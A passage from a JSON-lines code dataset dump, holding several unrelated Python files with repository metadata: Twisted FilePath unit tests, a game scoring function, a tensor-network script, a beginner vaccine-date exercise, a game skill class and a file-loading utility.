errno.EEXIST)\n\n\n def test_makedirsRaisesNonEexistErrorsIgnoreExistingDirectory(self):\n \"\"\"\n When C{FilePath.makedirs} is called with C{ignoreExistingDirectory} set\n to C{True} it raises an C{OSError} exception if exception errno is not\n EEXIST.\n \"\"\"\n def faultyMakedirs(path):\n raise OSError(errno.EACCES, 'Permission Denied')\n\n self.patch(os, 'makedirs', faultyMakedirs)\n fp = filepath.FilePath(self.mktemp())\n\n exception = self.assertRaises(\n OSError, fp.makedirs, ignoreExistingDirectory=True)\n\n self.assertEqual(exception.errno, errno.EACCES)\n\n\n def test_changed(self):\n \"\"\"\n L{FilePath.changed} indicates that the L{FilePath} has changed, but does\n not re-read the status information from the filesystem until it is\n queried again via another method, such as C{getsize}.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.setContent(b\"12345\")\n self.assertEqual(fp.getsize(), 5)\n\n # Someone else comes along and changes the file.\n with open(fp.path, 'wb') as fObj:\n fObj.write(b\"12345678\")\n\n # Sanity check for caching: size should still be 5.\n self.assertEqual(fp.getsize(), 5)\n fp.changed()\n\n # This path should look like we don't know what status it's in, not that\n # we know that it didn't exist when last we checked.\n self.assertIsNone(fp.statinfo)\n self.assertEqual(fp.getsize(), 8)\n\n\n def test_getPermissions_POSIX(self):\n \"\"\"\n Getting permissions for a file returns a L{Permissions} object for\n POSIX platforms (which supports separate user, group, and other\n permissions bits.\n \"\"\"\n for mode in (0o777, 0o700):\n self.path.child(b\"sub1\").chmod(mode)\n self.assertEqual(self.path.child(b\"sub1\").getPermissions(),\n filepath.Permissions(mode))\n self.path.child(b\"sub1\").chmod(0o764) #sanity check\n self.assertEqual(\n self.path.child(b\"sub1\").getPermissions().shorthand(),\n \"rwxrw-r--\")\n\n\n def test_deprecateStatinfoGetter(self):\n \"\"\"\n Getting L{twisted.python.filepath.FilePath.statinfo} is deprecated.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.statinfo\n warningInfo = self.flushWarnings([self.test_deprecateStatinfoGetter])\n self.assertEqual(len(warningInfo), 1)\n self.assertEqual(warningInfo[0]['category'], DeprecationWarning)\n self.assertEqual(\n warningInfo[0]['message'],\n \"twisted.python.filepath.FilePath.statinfo was deprecated in \"\n \"Twisted 15.0.0; please use other FilePath methods such as \"\n \"getsize(), isdir(), getModificationTime(), etc. instead\")\n\n\n def test_deprecateStatinfoSetter(self):\n \"\"\"\n Setting L{twisted.python.filepath.FilePath.statinfo} is deprecated.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.statinfo = None\n warningInfo = self.flushWarnings([self.test_deprecateStatinfoSetter])\n self.assertEqual(len(warningInfo), 1)\n self.assertEqual(warningInfo[0]['category'], DeprecationWarning)\n self.assertEqual(\n warningInfo[0]['message'],\n \"twisted.python.filepath.FilePath.statinfo was deprecated in \"\n \"Twisted 15.0.0; please use other FilePath methods such as \"\n \"getsize(), isdir(), getModificationTime(), etc. instead\")\n\n\n def test_deprecateStatinfoSetterSets(self):\n \"\"\"\n Setting L{twisted.python.filepath.FilePath.statinfo} changes the value\n of _statinfo such that getting statinfo again returns the new value.\n \"\"\"\n fp = filepath.FilePath(self.mktemp())\n fp.statinfo = None\n self.assertIsNone(fp.statinfo)\n\n\n def test_filePathNotDeprecated(self):\n \"\"\"\n While accessing L{twisted.python.filepath.FilePath.statinfo} is\n deprecated, the filepath itself is not.\n \"\"\"\n filepath.FilePath(self.mktemp())\n warningInfo = self.flushWarnings([self.test_filePathNotDeprecated])\n self.assertEqual(warningInfo, [])\n\n\n def test_getPermissions_Windows(self):\n \"\"\"\n Getting permissions for a file returns a L{Permissions} object in\n Windows. Windows requires a different test, because user permissions\n = group permissions = other permissions. Also, chmod may not be able\n to set the execute bit, so we are skipping tests that set the execute\n bit.\n \"\"\"\n # Change permission after test so file can be deleted\n self.addCleanup(self.path.child(b\"sub1\").chmod, 0o777)\n\n for mode in (0o777, 0o555):\n self.path.child(b\"sub1\").chmod(mode)\n self.assertEqual(self.path.child(b\"sub1\").getPermissions(),\n filepath.Permissions(mode))\n self.path.child(b\"sub1\").chmod(0o511) #sanity check to make sure that\n # user=group=other permissions\n self.assertEqual(self.path.child(b\"sub1\").getPermissions().shorthand(),\n \"r-xr-xr-x\")\n\n\n def test_whetherBlockOrSocket(self):\n \"\"\"\n Ensure that a file is not a block or socket\n \"\"\"\n self.assertFalse(self.path.isBlockDevice())\n self.assertFalse(self.path.isSocket())\n\n\n def test_statinfoBitsNotImplementedInWindows(self):\n \"\"\"\n Verify that certain file stats are not available on Windows\n \"\"\"\n self.assertRaises(NotImplementedError, self.path.getInodeNumber)\n self.assertRaises(NotImplementedError, self.path.getDevice)\n self.assertRaises(NotImplementedError, self.path.getNumberOfHardLinks)\n self.assertRaises(NotImplementedError, self.path.getUserID)\n self.assertRaises(NotImplementedError, self.path.getGroupID)\n\n\n def test_statinfoBitsAreNumbers(self):\n \"\"\"\n Verify that file inode/device/nlinks/uid/gid stats are numbers in\n a POSIX environment\n \"\"\"\n numbers = (int, long)\n c = self.path.child(b'file1')\n for p in self.path, c:\n self.assertIsInstance(p.getInodeNumber(), numbers)\n self.assertIsInstance(p.getDevice(), numbers)\n self.assertIsInstance(p.getNumberOfHardLinks(), numbers)\n self.assertIsInstance(p.getUserID(), numbers)\n self.assertIsInstance(p.getGroupID(), numbers)\n self.assertEqual(self.path.getUserID(), c.getUserID())\n self.assertEqual(self.path.getGroupID(), c.getGroupID())\n\n\n def test_statinfoNumbersAreValid(self):\n \"\"\"\n Verify that the right numbers come back from the right accessor methods\n for file inode/device/nlinks/uid/gid (in a POSIX environment)\n \"\"\"\n # specify fake statinfo information\n class FakeStat:\n st_ino = 200\n st_dev = 300\n st_nlink = 400\n st_uid = 500\n st_gid = 600\n\n # monkey patch in a fake restat method for self.path\n fake = FakeStat()\n def fakeRestat(*args, **kwargs):\n self.path._statinfo = fake\n self.path.restat = fakeRestat\n\n # ensure that restat will need to be called to get values\n self.path._statinfo = None\n\n self.assertEqual(self.path.getInodeNumber(), fake.st_ino)\n self.assertEqual(self.path.getDevice(), fake.st_dev)\n self.assertEqual(self.path.getNumberOfHardLinks(), fake.st_nlink)\n self.assertEqual(self.path.getUserID(), fake.st_uid)\n self.assertEqual(self.path.getGroupID(), fake.st_gid)\n\n\n if platform.isWindows():\n test_statinfoBitsAreNumbers.skip = True\n test_statinfoNumbersAreValid.skip = True\n test_getPermissions_POSIX.skip = True\n else:\n test_statinfoBitsNotImplementedInWindows.skip = \"Test will run only on Windows.\"\n test_getPermissions_Windows.skip = \"Test will run only on Windows.\"\n\n\n\nclass SetContentTests(BytesTestCase):\n \"\"\"\n Tests for L{FilePath.setContent}.\n \"\"\"\n def test_write(self):\n \"\"\"\n Contents of the file referred to by a L{FilePath} can be written using\n L{FilePath.setContent}.\n \"\"\"\n pathString = self.mktemp()\n path = filepath.FilePath(pathString)\n path.setContent(b\"hello, world\")\n with open(pathString, \"rb\") as fObj:\n contents = fObj.read()\n self.assertEqual(b\"hello, world\", contents)\n\n\n def test_fileClosing(self):\n \"\"\"\n If writing to the underlying file raises an exception,\n L{FilePath.setContent} raises that exception after closing the file.\n \"\"\"\n fp = ExplodingFilePath(b\"\")\n self.assertRaises(IOError, fp.setContent, b\"blah\")\n self.assertTrue(fp.fp.closed)\n\n\n def test_nameCollision(self):\n \"\"\"\n L{FilePath.setContent} will use a different temporary filename on each\n invocation, so that multiple processes, threads, or reentrant\n invocations will not collide with each other.\n \"\"\"\n fp = TrackingFilePath(self.mktemp())\n fp.setContent(b\"alpha\")\n fp.setContent(b\"beta\")\n\n # Sanity check: setContent should only open one derivative path each\n # time to store the temporary file.\n openedSiblings = fp.openedPaths()\n self.assertEqual(len(openedSiblings), 2)\n self.assertNotEqual(openedSiblings[0], openedSiblings[1])\n\n\n def _assertOneOpened(self, fp, extension):\n \"\"\"\n Assert that the L{TrackingFilePath} C{fp} was used to open one sibling\n with the given extension.\n\n @param fp: A L{TrackingFilePath} which should have been used to open\n file at a sibling path.\n @type fp: L{TrackingFilePath}\n\n @param extension: The extension the sibling path is expected to have\n had.\n @type extension: L{bytes}\n\n @raise: C{self.failureException} is raised if the extension of the\n opened file is incorrect or if not exactly one file was opened\n using C{fp}.\n \"\"\"\n opened = fp.openedPaths()\n self.assertEqual(len(opened), 1, \"expected exactly one opened file\")\n self.assertTrue(\n opened[0].basename().endswith(extension),\n \"%s does not end with %r extension\" % (\n opened[0].basename(), extension))\n\n\n def test_defaultExtension(self):\n \"\"\"\n L{FilePath.setContent} creates temporary files with the extension\n I{.new} if no alternate extension value is given.\n \"\"\"\n fp = TrackingFilePath(self.mktemp())\n fp.setContent(b\"hello\")\n self._assertOneOpened(fp, b\".new\")\n\n\n def test_customExtension(self):\n \"\"\"\n L{FilePath.setContent} creates temporary files with a user-supplied\n extension so that if it is somehow interrupted while writing them the\n file that it leaves behind will be identifiable.\n \"\"\"\n fp = TrackingFilePath(self.mktemp())\n fp.setContent(b\"goodbye\", b\"-something-else\")\n self._assertOneOpened(fp, b\"-something-else\")\n\n\n\nclass UnicodeFilePathTests(TestCase):\n \"\"\"\n L{FilePath} instances should have the same internal representation as they\n were instantiated with.\n \"\"\"\n\n def test_UnicodeInstantiation(self):\n \"\"\"\n L{FilePath} instantiated with a text path will return a text-mode\n FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./mon\\u20acy')\n self.assertEqual(type(fp.path), unicode)\n\n\n def test_UnicodeInstantiationBytesChild(self):\n \"\"\"\n Calling L{FilePath.child} on a text-mode L{FilePath} with a L{bytes}\n subpath will return a bytes-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy')\n child = fp.child(u'child-mon\\u20acy'.encode('utf-8'))\n self.assertEqual(type(child.path), bytes)\n\n\n def test_UnicodeInstantiationUnicodeChild(self):\n \"\"\"\n Calling L{FilePath.child} on a text-mode L{FilePath} with a text\n subpath will return a text-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy')\n child = fp.child(u'mon\\u20acy')\n self.assertEqual(type(child.path), unicode)\n\n\n def test_UnicodeInstantiationUnicodePreauthChild(self):\n \"\"\"\n Calling L{FilePath.preauthChild} on a text-mode L{FilePath} with a text\n subpath will return a text-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy')\n child = fp.preauthChild(u'mon\\u20acy')\n self.assertEqual(type(child.path), unicode)\n\n\n def test_UnicodeInstantiationBytesPreauthChild(self):\n \"\"\"\n Calling L{FilePath.preauthChild} on a text-mode L{FilePath} with a bytes\n subpath will return a bytes-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy')\n child = fp.preauthChild(u'child-mon\\u20acy'.encode('utf-8'))\n self.assertEqual(type(child.path), bytes)\n\n\n def test_BytesInstantiation(self):\n \"\"\"\n L{FilePath} instantiated with a L{bytes} path will return a bytes-mode\n FilePath.\n \"\"\"\n fp = filepath.FilePath(b\"./\")\n self.assertEqual(type(fp.path), bytes)\n\n\n def test_BytesInstantiationBytesChild(self):\n \"\"\"\n Calling L{FilePath.child} on a bytes-mode L{FilePath} with a bytes\n subpath will return a bytes-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(b\"./\")\n child = fp.child(u'child-mon\\u20acy'.encode('utf-8'))\n self.assertEqual(type(child.path), bytes)\n\n\n def test_BytesInstantiationUnicodeChild(self):\n \"\"\"\n Calling L{FilePath.child} on a bytes-mode L{FilePath} with a text\n subpath will return a text-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'parent-mon\\u20acy'.encode('utf-8'))\n child = fp.child(u\"mon\\u20acy\")\n self.assertEqual(type(child.path), unicode)\n\n\n def test_BytesInstantiationBytesPreauthChild(self):\n \"\"\"\n Calling L{FilePath.preauthChild} on a bytes-mode L{FilePath} with a\n bytes subpath will return a bytes-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy'.encode('utf-8'))\n child = fp.preauthChild(u'child-mon\\u20acy'.encode('utf-8'))\n self.assertEqual(type(child.path), bytes)\n\n\n def test_BytesInstantiationUnicodePreauthChild(self):\n \"\"\"\n Calling L{FilePath.preauthChild} on a bytes-mode L{FilePath} with a text\n subpath will return a text-mode FilePath.\n \"\"\"\n fp = filepath.FilePath(u'./parent-mon\\u20acy'.encode('utf-8'))\n child = fp.preauthChild(u\"mon\\u20acy\")\n self.assertEqual(type(child.path), unicode)\n\n\n def test_unicoderepr(self):\n \"\"\"\n The repr of a L{unicode} L{FilePath} shouldn't burst into flames.\n \"\"\"\n fp = filepath.FilePath(u\"/mon\\u20acy\")\n reprOutput = repr(fp)\n if _PY3:\n self.assertEqual(\"FilePath('/mon\\u20acy')\", reprOutput)\n else:\n self.assertEqual(\"FilePath(u'/mon\\\\u20acy')\", reprOutput)\n\n\n def test_bytesrepr(self):\n \"\"\"\n The repr of a L{bytes} L{FilePath} shouldn't burst into flames.\n \"\"\"\n fp = filepath.FilePath(u'/parent-mon\\u20acy'.encode('utf-8'))\n reprOutput = repr(fp)\n if _PY3:\n self.assertEqual(\n \"FilePath(b'/parent-mon\\\\xe2\\\\x82\\\\xacy')\", reprOutput)\n else:\n self.assertEqual(\n \"FilePath('/parent-mon\\\\xe2\\\\x82\\\\xacy')\", reprOutput)\n\n\n def test_unicodereprWindows(self):\n \"\"\"\n The repr of a L{unicode} L{FilePath} shouldn't burst into flames.\n \"\"\"\n fp = filepath.FilePath(u\"C:\\\\\")\n reprOutput = repr(fp)\n if _PY3:\n self.assertEqual(\"FilePath('C:\\\\\\\\')\", reprOutput)\n else:\n self.assertEqual(\"FilePath(u'C:\\\\\\\\')\", reprOutput)\n\n\n def test_bytesreprWindows(self):\n \"\"\"\n The repr of a L{bytes} L{FilePath} shouldn't burst into flames.\n \"\"\"\n fp = filepath.FilePath(b\"C:\\\\\")\n reprOutput = repr(fp)\n if _PY3:\n self.assertEqual(\"FilePath(b'C:\\\\\\\\')\", reprOutput)\n else:\n self.assertEqual(\"FilePath('C:\\\\\\\\')\", reprOutput)\n\n\n if platform.isWindows():\n test_unicoderepr.skip = \"Test will not work on Windows\"\n test_bytesrepr.skip = \"Test will not work on Windows\"\n else:\n test_unicodereprWindows.skip = \"Test only works on Windows\"\n test_bytesreprWindows.skip = \"Test only works on Windows\"\n\n\n def test_mixedTypeGlobChildren(self):\n \"\"\"\n C{globChildren} will return the same type as the pattern argument.\n \"\"\"\n fp = filepath.FilePath(u\"/\")\n children = fp.globChildren(b\"*\")\n self.assertIsInstance(children[0].path, bytes)\n\n\n def test_unicodeGlobChildren(self):\n \"\"\"\n C{globChildren} works with L{unicode}.\n \"\"\"\n fp = filepath.FilePath(u\"/\")\n children = fp.globChildren(u\"*\")\n self.assertIsInstance(children[0].path, unicode)\n\n\n def test_unicodeBasename(self):\n \"\"\"\n Calling C{basename} on an text- L{FilePath} returns L{unicode}.\n \"\"\"\n fp = filepath.FilePath(u\"./\")\n self.assertIsInstance(fp.basename(), unicode)\n\n\n def test_unicodeDirname(self):\n \"\"\"\n Calling C{dirname} on a text-mode L{FilePath} returns L{unicode}.\n \"\"\"\n fp = filepath.FilePath(u\"./\")\n self.assertIsInstance(fp.dirname(), unicode)\n\n\n def test_unicodeParent(self):\n \"\"\"\n Calling C{parent} on a text-mode L{FilePath} will return a text-mode\n L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./\")\n parent = fp.parent()\n self.assertIsInstance(parent.path, unicode)\n\n\n def test_mixedTypeTemporarySibling(self):\n \"\"\"\n A L{bytes} extension to C{temporarySibling} will mean a L{bytes} mode\n L{FilePath} is returned.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n tempSibling = fp.temporarySibling(b\".txt\")\n self.assertIsInstance(tempSibling.path, bytes)\n\n\n def test_unicodeTemporarySibling(self):\n \"\"\"\n A L{unicode} extension to C{temporarySibling} will mean a L{unicode}\n mode L{FilePath} is returned.\n \"\"\"\n fp = filepath.FilePath(u\"/tmp/mon\\u20acy\")\n tempSibling = fp.temporarySibling(u\".txt\")\n self.assertIsInstance(tempSibling.path, unicode)\n\n\n def test_mixedTypeSiblingExtensionSearch(self):\n \"\"\"\n C{siblingExtensionSearch} called with L{bytes} on a L{unicode}-mode\n L{FilePath} will return a L{list} of L{bytes}-mode L{FilePath}s.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n sibling = filepath.FilePath(fp._asTextPath() + u\".txt\")\n sibling.touch()\n newPath = fp.siblingExtensionSearch(b\".txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, bytes)\n\n\n def test_unicodeSiblingExtensionSearch(self):\n \"\"\"\n C{siblingExtensionSearch} called with L{unicode} on a L{unicode}-mode\n L{FilePath} will return a L{list} of L{unicode}-mode L{FilePath}s.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n sibling = filepath.FilePath(fp._asTextPath() + u\".txt\")\n sibling.touch()\n\n newPath = fp.siblingExtensionSearch(u\".txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, unicode)\n\n\n def test_mixedTypeSiblingExtension(self):\n \"\"\"\n C{siblingExtension} called with L{bytes} on a L{unicode}-mode\n L{FilePath} will return a L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n sibling = filepath.FilePath(fp._asTextPath() + u\".txt\")\n sibling.touch()\n\n newPath = fp.siblingExtension(b\".txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, bytes)\n\n\n def test_unicodeSiblingExtension(self):\n \"\"\"\n C{siblingExtension} called with L{unicode} on a L{unicode}-mode\n L{FilePath} will return a L{unicode}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n sibling = filepath.FilePath(fp._asTextPath() + u\".txt\")\n sibling.touch()\n\n newPath = fp.siblingExtension(u\".txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, unicode)\n\n\n def test_mixedTypeChildSearchPreauth(self):\n \"\"\"\n C{childSearchPreauth} called with L{bytes} on a L{unicode}-mode\n L{FilePath} will return a L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n fp.createDirectory()\n self.addCleanup(lambda: fp.remove())\n child = fp.child(\"text.txt\")\n child.touch()\n\n newPath = fp.childSearchPreauth(b\"text.txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, bytes)\n\n\n def test_unicodeChildSearchPreauth(self):\n \"\"\"\n C{childSearchPreauth} called with L{unicode} on a L{unicode}-mode\n L{FilePath} will return a L{unicode}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./mon\\u20acy\")\n fp.createDirectory()\n self.addCleanup(lambda: fp.remove())\n child = fp.child(\"text.txt\")\n child.touch()\n\n newPath = fp.childSearchPreauth(u\"text.txt\")\n\n self.assertIsInstance(newPath, filepath.FilePath)\n self.assertIsInstance(newPath.path, unicode)\n\n\n def test_asBytesModeFromUnicode(self):\n \"\"\"\n C{asBytesMode} on a L{unicode}-mode L{FilePath} returns a new\n L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./tmp\")\n newfp = fp.asBytesMode()\n self.assertIsNot(fp, newfp)\n self.assertIsInstance(newfp.path, bytes)\n\n\n def test_asTextModeFromBytes(self):\n \"\"\"\n C{asBytesMode} on a L{unicode}-mode L{FilePath} returns a new\n L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(b\"./tmp\")\n newfp = fp.asTextMode()\n self.assertIsNot(fp, newfp)\n self.assertIsInstance(newfp.path, unicode)\n\n\n def test_asBytesModeFromBytes(self):\n \"\"\"\n C{asBytesMode} on a L{bytes}-mode L{FilePath} returns the same\n L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(b\"./tmp\")\n newfp = fp.asBytesMode()\n self.assertIs(fp, newfp)\n self.assertIsInstance(newfp.path, bytes)\n\n\n def test_asTextModeFromUnicode(self):\n \"\"\"\n C{asTextMode} on a L{unicode}-mode L{FilePath} returns the same\n L{unicode}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"./tmp\")\n newfp = fp.asTextMode()\n self.assertIs(fp, newfp)\n self.assertIsInstance(newfp.path, unicode)\n\n\n def test_asBytesModeFromUnicodeWithEncoding(self):\n \"\"\"\n C{asBytesMode} with an C{encoding} argument uses that encoding when\n coercing the L{unicode}-mode L{FilePath} to a L{bytes}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(u\"\\u2603\")\n newfp = fp.asBytesMode(encoding=\"utf-8\")\n self.assertIn(b\"\\xe2\\x98\\x83\", newfp.path)\n\n\n def test_asTextModeFromBytesWithEncoding(self):\n \"\"\"\n C{asTextMode} with an C{encoding} argument uses that encoding when\n coercing the L{bytes}-mode L{FilePath} to a L{unicode}-mode L{FilePath}.\n \"\"\"\n fp = filepath.FilePath(b'\\xe2\\x98\\x83')\n newfp = fp.asTextMode(encoding=\"utf-8\")\n self.assertIn(u\"\\u2603\", newfp.path)\n\n\n def test_asBytesModeFromUnicodeWithUnusableEncoding(self):\n \"\"\"\n C{asBytesMode} with an C{encoding} argument that can't be used to encode\n the unicode path raises a L{UnicodeError}.\n \"\"\"\n fp = filepath.FilePath(u\"\\u2603\")\n with self.assertRaises(UnicodeError):\n fp.asBytesMode(encoding=\"ascii\")\n\n\n def test_asTextModeFromBytesWithUnusableEncoding(self):\n \"\"\"\n C{asTextMode} with an C{encoding} argument that can't be used to encode\n the unicode path raises a L{UnicodeError}.\n \"\"\"\n fp = filepath.FilePath(b\"\\u2603\")\n with self.assertRaises(UnicodeError):\n fp.asTextMode(encoding=\"utf-32\")\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/test/test_paths.py","file_name":"test_paths.py","file_ext":"py","file_size_in_byte":74227,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"} +{"seq_id":"22663670281","text":"def point_distribution(table, data, total_answer):\n response_data=[]\n for item in data:\n points=0\n if \"guess\" in item and item[\"guess\"] == total_answer:\n points=100\n elif \"guess\" in item and (item[\"guess\"] == total_answer+1 or item[\"guess\"] == total_answer-1):\n points=50\n table.update_item(\n Key={'connection_id': item[\"connection_id\"]},\n UpdateExpression = \"ADD points :p\",\n ExpressionAttributeValues={\n ':p': points\n })\n item[\"last_turn_points\"] = item[\"points\"]\n item[\"points\"]+= points\n response_data.append(item)\n\n return response_data","repo_name":"jtschuwirth/NuncaNunca-Party-Backend","sub_path":"game_functions/point_distribution.py","file_name":"point_distribution.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6509095864","text":"import numpy as np\n\nfrom TNR.Models.peps import *\nfrom TNR.Contractors.mergeAllContractor import mergeContractor\nimport sys\n\nnn = int(sys.argv[1])\nnX = nn\nnY = nn\n\naccuracy = 1e-3\n\nif sys.argv[2] == 'akltd':\n A, B = aklt2d()\nelif sys.argv[2] == 'bosonic_insulator':\n A, B = featureless_bosonic_insulator()\nelif sys.argv[2] == 'hardcore_bosonic':\n A, B = featureless_bosonic_insulator_hardcore()\nelif sys.argv[2] == 'featureless_su2':\n A, B = featureless_su2()\nelse:\n exit()\n\nn = peps2Dhoneycomb(nX, nY, A, B, accuracy)\nn = mergeContractor(n, accuracy, optimize=False)\n\n\nfor nn in n.nodes:\n print('F/N: ', nn.tensor.logNorm / (nX * nY))\n","repo_name":"adamjermyn/PyTNR","sub_path":"TNR/Profile/peps.py","file_name":"peps.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"72017098002","text":"nome = str(input(\"Informe seu nome: \"))\nsobrenome = str(input(\"Informe seu sobrenome: \"))\nidade = int(input(\"Informe sua idade: \"))\n\n\ndef MostrarResultado():\n\n determinarDiaVacina(idade, nome, sobrenome)\n\n\ndef determinarDiaVacina(idade, nome, sobrenome):\n\n if nome[0] =='R' and sobrenome[-1] == 'S'.upper():\n if idade < 18:\n print(\"Tomar a vacina no dia 10\")\n if nome[0] == 'R' and sobrenome[-1] == 'S'.upper():\n if idade > 18:\n print(\"Tomar a vacina no dia 14\").upper()\n if nome[0] == 'R' or sobrenome[-1] == 'S':\n if idade > 18:\n print(\"Tomar a vacina no dia 13\")\n\n\nprint('\\n')\nprint(\"A sua idade é de {} anos seu nome começa com {} e seu sobrenome termina com {}\".format(\n idade, nome[0], sobrenome[-1]))\n\nMostrarResultado()\n","repo_name":"LucasAMiranda/python-master-class","sub_path":"Vacina.py","file_name":"Vacina.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"3448233633","text":"__author__ = 'chotee'\n\nfrom memberizer.m2a import Members2Accounts\nfrom memberizer.test.mocks import *\n\n#from memberizer.members import Member\n#from memberizer.accounts import Account\n\nclass Test_Member2Account(object):\n def test_init(self):\n assert isinstance(Members2Accounts(), Members2Accounts)\n\n def test_go(self):\n mock_accounts = Mock_Accounts()\n mock_members = Mock_Members()\n m2a = Members2Accounts()\n m2a.memberize(mock_accounts, mock_members)\n\n# def test_make_accounts_non_members():\n# pass\n\n","repo_name":"chotee/memberizer","sub_path":"memberizer/test/test_m2a.py","file_name":"test_m2a.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30118087997","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom dm.skills.Common._common import CommonSkill\nfrom utilities import CooldownType\n\nif TYPE_CHECKING:\n from dm.core.contexts import AttackContext\n from dm.core.game.game import DMGame\n from dm.core.objects.unit import DMUnit\n################################################################################\n\n__all__ = (\"EyeOfTruth\",)\n\n################################################################################\nclass EyeOfTruth(CommonSkill):\n\n def __init__(self, state: DMGame, parent: DMUnit = None):\n\n super().__init__(\n state, parent,\n _id=\"SKL-179\",\n name=\"Eye of Truth\",\n description=(\n \"No debuff will cause it to attack an ally.\"\n ),\n rank=4,\n cooldown=CooldownType.Passive\n )\n\n################################################################################\n def on_attack(self, ctx: AttackContext) -> None:\n\n # If we're attacking\n if self.owner == ctx.source:\n ctx.register_late_callback(self.callback)\n\n################################################################################\n def callback(self, ctx: AttackContext) -> None:\n\n # Check at the last second to see if the owner is attacking an ally.\n if ctx.target.is_ally(self.owner):\n # And negate the attack if so.\n ctx.will_fail = True\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/skills/Common/SRank/EyeOfTruth.py","file_name":"EyeOfTruth.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29965228742","text":"import os\nimport glob as gl\nimport pathlib as pl\nfrom PIL import ImageTk, Image\nfrom ast import literal_eval\n\n# Copyright Blyfh https://github.com/Blyfh\n# Distributed under the Boost Software License, Version 1.0.\n# (See accompanying file LICENSE_1_0.txt or copy at\n# http://www.boost.org/LICENSE_1_0.txt)\n\n\nprogram_dir = pl.Path(__file__).parent.parent.absolute()\n\n\nclass PackHandler:\n\n def gt_pack_data(self, pack, path):\n return dict(literal_eval(self.gt_pack_str(pack, path))) # literal_eval safely evaluates literal structures, here a dict\n\n def gt_pack_str(self, pack, path):\n try:\n with open(f\"{path}/{pack}.dict\", \"r\", encoding = \"utf-8\") as file:\n return file.read()\n except:\n raise FileNotFoundError(f\"Couldn't fetch pack '{pack}' from directory '{path}'.\")\n\n def st_pack_data(self, pack, dir, new_data):\n try:\n with open(f\"{dir}/{pack}.dict\", \"w\", encoding = \"utf-8\") as file:\n file.write(self.format(new_data))\n except:\n raise FileNotFoundError(f\"Couldn't update pack '{pack}' from directory '{dir}'.\")\n\n def format(self, dict_data, depth = 1):\n items_str = \"\"\n for key, value in dict_data.items():\n if type(value) is dict:\n items_str += \" \" * depth + f\"\\\"{key}\\\": {self.format(value, depth + 1) },\\n\"\n else:\n items_str += \" \" * depth + f\"\\\"{key}\\\": {self.format_no_dict_value(value)},\\n\"\n return \"{\" + f\"\\n{items_str[:-2]}\\n\" + \" \" * (depth - 1) + \"}\"\n\n def format_no_dict_value(self, value):\n if type(value) is str:\n if len(value.split(\"\\n\")) > 1:\n value = f\"\\\"\\\"\\\"{value}\\\"\\\"\\\"\"\n else:\n value = f\"\\\"{value}\\\"\"\n elif type(value) is tuple or type(value) is list:\n elements_str = \"\"\n for element in value:\n if type(element) is str:\n elements_str += f\"\\\"{element}\\\", \"\n else:\n elements_str += str(element) + \", \"\n if type(value) is tuple:\n value = f\"({elements_str[:-2]})\"\n else:\n value = f\"[{elements_str[:-2]}]\"\n return value\n\nclass ProfileHandler:\n\n def __init__(self, profile_dir):\n self.profile_dir = profile_dir\n\n def reset_profile(self):\n default_profile_data = ph.gt_pack_data(\"default_profile\", f\"{program_dir}/resources\")\n ph.st_pack_data(\"profile\", f\"{self.profile_dir}\", new_data = default_profile_data)\n\n def save_profile_data(self, key, new_value):\n profile_data = ph.gt_pack_data(\"profile\", f\"{self.profile_dir}\")\n try:\n profile_data[key] = new_value\n except:\n raise FileNotFoundError(f\"Couldn't fetch profile data for '{key}'.\")\n ph.st_pack_data(\"profile\", f\"{self.profile_dir}\", new_data = 